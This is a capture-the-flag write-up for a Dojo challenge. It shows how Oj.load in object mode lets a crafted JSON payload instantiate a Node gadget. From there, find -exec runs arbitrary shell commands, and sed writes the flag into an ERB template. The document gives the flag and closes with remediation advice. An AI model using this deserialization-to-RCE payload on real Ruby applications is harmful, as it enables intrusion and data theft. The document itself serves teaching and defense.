Dojo challenge #48 RubitMQ solution

February 19, 2026

Article hero image

The solution and the writeup provided were written by the hunter: ururunymous

Description

The application is vulnerable to Insecure Deserialization due to the use of the Oj.load function to process job payloads without a restricted mode. In its default or "object" mode, Oj allows for the instantiation of arbitrary Ruby classes defined within the environment.

An attacker can exploit this by crafting a JSON payload that instantiates a "gadget" class where in this case, the Node class. The Node class contains a method run_find which passes user-controlled arguments directly into Open3.capture3. Because these arguments are not sanitized, an attacker can use the "-exec" flag of the system find utility to break out of the intended functionality and execute arbitrary shell commands. This creates a complete exploit chain from a simple data upload to full Remote Code Execution (RCE).

Code Analysis

The user input is stored in the payload variable, which is decoded and saved into a database table named job.

1payload = URI.decode_www_form_component("xxx") # <- User input
2
3# Add the job to the local database
4job = Job.create!(status: "queued", payload: payload)

The application then triggers a JobRunner to process these queued jobs. This is where the vulnerability lies: the application uses the Oj library to deserialize the payload.

1def self.run
2 Job.where(status: "queued").find_each do |job|
3 data = Oj.load(job.payload) # <- Insecure Deserialization Sink
4
5 RubitMQ.new(data).run() # <- Gadget Trigger
6 job.update!(status: "done")
7 end
8end

By default or in "Object" mode, Oj.load can instantiate any Ruby class defined in the environment. We look for a "gadget" class, a class with a method that performs a dangerous action. which we find the Node class:

1class Node
2 def initialize(args=[])
3 @args = args
4 end
5
6 def run_find()
7 puts Open3.capture3("find", *@args) # <- Command Injection Sink
8 end
9end

The Node class takes an array of arguments and passes them directly to Open3.capture3 to run the system find command. If we can force Oj to create a Node object, we can control the arguments passed to the shell.

Finally, the application renders the dashboard using ERB, passing the job's uuid to be displayed in the HTML.

1# Render the given page for our web application
2puts ERB.new(IO.read("views/index.html")).result_with_hash({job_name: job.uuid})

PoC

The vulnerability is an Insecure Deserialization to RCE chain. Because Oj.load does not restrict which classes it can create, we can provide a JSON object that represents a Node instance.

In Ruby's Oj object notation, ^o specifies the class name. We can use the find command's "-exec" flag to break out of the intended file-search logic and execute arbitrary shell commands.

The goal is to exfiltrate the $FLAG environment variable. In order to make the flag appear in the dashboard, we use Template Poisoning. We use sed to find the ERB tag <%= job_name %> in the views/index.html file and replace it with the value of the flag.

1{
2 "^o": "Node",
3 "args": [
4 "views/index.html",
5 "-exec",
6 "sh",
7 "-c",
8 "sed -i \"s/<%= job_name %>/$FLAG/\" views/index.html",
9 ";"
10 ]
11}

Providing the previous input payload to the endpoint https://dojo-yeswehack.com/challenge-of-the-month/dojo-48 results in the disclosure of the flag environment variable
content: FLAG{Th4t_J0b_D1d_N07_Go_A5_Exp3ct3d}

Risk

Confidentiality
Exploitation of this vulnerability allows for the total compromise of sensitive information because the attacker can execute commands with the same privileges as the application process.

Integrity
The attacker can silently manipulate the application's data and user interface. As demonstrated by the Template Poisoning of the dashboard, they can overwrite system files to display false information or inject malicious scripts.

Availability
A successful attack could result in attacker can delete critical files, corrupt the database, or launch resource-heavy processes that crash the server.

Remediation

To fix this application, we must implement secure deserialization and sanitize system calls.

The first and most important fix is to use Oj in strict mode. This prevents the library from instantiating arbitrary Ruby objects and ensures it only produces standard data types like Hashes and Arrays.

1# Secure loading
2data = Oj.load(job.payload, mode: :strict)

The second fix is to avoid passing user-controlled arrays to shell-executing functions. If the Node class must exist, its arguments should be strictly whitelisted to prevent flags like -exec from being used.